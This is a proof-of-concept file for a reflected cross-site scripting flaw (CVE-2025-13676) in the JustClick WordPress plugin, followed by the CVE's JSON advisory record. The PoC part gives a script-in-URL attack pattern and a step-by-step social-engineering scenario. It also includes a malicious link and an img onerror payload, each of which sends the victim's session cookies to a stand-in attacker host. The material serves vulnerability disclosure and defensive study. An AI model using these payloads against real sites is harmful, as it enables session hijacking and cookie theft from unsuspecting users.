CVE-2025-13676

<!-- CVE-2025-13676 PoC - Reflected XSS via PHP_SELF --> <!-- This PoC demonstrates the XSS vulnerability in JustClick WordPress plugin --> <!-- Vulnerable URL Pattern: https://vulnerable-site.com/wp-admin/admin.php/<script>alert(document.cookie)</script> Attack Scenario: 1. Attacker crafts a malicious URL with XSS payload in PHP_SELF 2. Attacker tricks victim into clicking the link (social engineering) 3. Victim's browser executes the injected JavaScript 4. Attacker steals session cookies or performs actions on behalf of victim --> <!-- Example malicious URL --> <!-- <a href="http://target-site/wp-admin/admin.php/<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>">Click here</a> --> <!-- Automated PoC payload --> <script> // Payload that exfiltrates session data var payload = '<img src=x onerror="fetch(`https://attacker-controlled-server/collect?data=${encodeURIComponent(document.cookie)}`)">'; // Simulate exploitation console.log('CVE-2025-13676 - XSS via PHP_SELF'); console.log('Payload:', payload); console.log('Target: WordPress JustClick Plugin < 0.2'); </script>

{"cve": {"id": "CVE-2025-13676", "sourceIdentifier": "[email protected]", "published": "2026-01-24T08:16:05.367", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The JustClick registration plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in all versions up to, and including, 0.1. This is due to insufficient input sanitization and output escaping on the `PHP_SELF` server variable. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin de registro JustClick para WordPress es vulnerable a cross-site scripting reflejado en todas las versiones hasta e incluyendo la 0.1. Esto se debe a una sanitización de entrada y un escape de salida insuficientes en la variable de servidor 'PHP_SELF'. Esto hace posible que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutan si logran engañar con éxito a un usuario para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/justclick-subscriber/tags/0.1/justclick.php#L154", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/justclick-subscriber/trunk/justclick.php#L154", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f1420ec8-55e4-448d-8230-228d1e566b97?source=cve", "source": "[email protected]"}]}}